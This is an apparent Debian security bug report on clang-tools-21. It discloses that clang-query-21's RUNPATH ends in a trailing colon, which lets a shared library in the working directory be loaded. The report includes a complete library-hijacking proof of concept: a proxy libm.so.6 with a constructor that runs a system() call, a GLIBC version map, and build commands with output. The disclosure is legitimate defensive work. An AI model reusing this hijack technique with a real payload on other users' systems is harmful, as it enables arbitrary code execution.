Package: clang-tools-21
Version: 1:21.1.8-7+b1
Severity: grave
Tags: security

 I have identified a security vulnerability (CWE-427) in the
`clang-query-21` binary where the `RUNPATH` contains a trailing colon (`:`).

According to ELF standards, a trailing or empty entry in `RUNPATH` is
interpreted by the dynamic linker as the current working directory (`.`).
This allows a local attacker to achieve arbitrary code  execution as the
user running `clang-query-21` by placing a malicious shared library in the
working directory.

*Verification:*

 $ readelf -d /usr/bin/clang-query-21 | grep RUNPATH

 0x000000000000001d (RUNPATH)            Library runpath:
[$ORIGIN/../lib:/build/reproducible-path/llvm-toolchain-21-21.1.8/build-llvm/tools/clang/stage2-bins/lib:]

Note the trailing colon. Other binaries in the same package, such as
clang-check-21, have correctly formed RUNPATHs ($ORIGIN/../lib).

*Proof-of-Concept:*

I have successfully exploited this on a Kali Linux (arm64) system by
creating a "proxy" `libm.so.6` in the current directory. By satisfying the
`GLIBC_2.17`, `GLIBC_2.29`, and `GLIBC_2.38` version requirements for
symbols like `fmod`, `log`, and `pow`, I was able to execute a
constructor-based payload (system call to touch /tmp/pwned) before the main
process starts.

This appears to be a build-system misconfiguration specifically affecting
the `clang-query` component of the `llvm-toolchain-21` source package.

*poc_libm.c*

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Dummy implementations
double fmod(double x, double y) { return 0.0; }
double log10(double x) { return 0.0; }
double log(double x) { return 0.0; }
double pow(double x, double y) { return 0.0; }
double ceil(double x) { return 0.0; }
double floor(double x) { return 0.0; }
double exp(double x) { return 0.0; }
double log2(double x) { return 0.0; }
double sin(double x) { return 0.0; }
double cos(double x) { return 0.0; }
double tan(double x) { return 0.0; }
double cosh(double x) { return 0.0; }
double sinh(double x) { return 0.0; }
double tanh(double x) { return 0.0; }
double erf(double x) { return 0.0; }
double logb(double x) { return 0.0; }
double log1p(double x) { return 0.0; }
double atan(double x) { return 0.0; }
double acos(double x) { return 0.0; }
double asin(double x) { return 0.0; }
double atan2(double y, double x) { return 0.0; }
double sqrt(double x) { return 0.0; }
double remainder(double x, double y) { return 0.0; }
int fesetround(int round) { return 0; }

void __attribute__((constructor)) init() {
    system("touch /tmp/pwned");
    printf("\n[!] HIJACK SUCCESSFUL: libm.so.6 proxied for
clang-query-21\n");
    exit(0);
}

*versions.map*

GLIBC_2.17 {
    global:
        log10; ceil; floor; sin; cos; tan; cosh; sinh; tanh; erf; logb;
log1p; atan; acos; asin; atan2; sqrt; remainder; fesetround;
};
GLIBC_2.29 {
    global:
        pow; exp; log2; log;
};
GLIBC_2.38 {
    global:
        fmod;
};
GLIBC_2.27 { global: *; };

*Example:*

$ gcc -shared -fPIC poc_libm.c -o libm.so.6
-Wl,--version-script=versions.map
$ /usr/bin/clang-query-21

[!] HIJACK SUCCESSFUL: libm.so.6 proxied for clang-query-21

$ ls /tmp | grep pwned
pwned

 I am reporting this to the BTS as per the Debian Security FAQ guidance for
vulnerabilities in the 'unstable' distribution.

*Proposed Fix:*

The RUNPATH should be sanitized during the build process to remove trailing
colons.

Reply via email to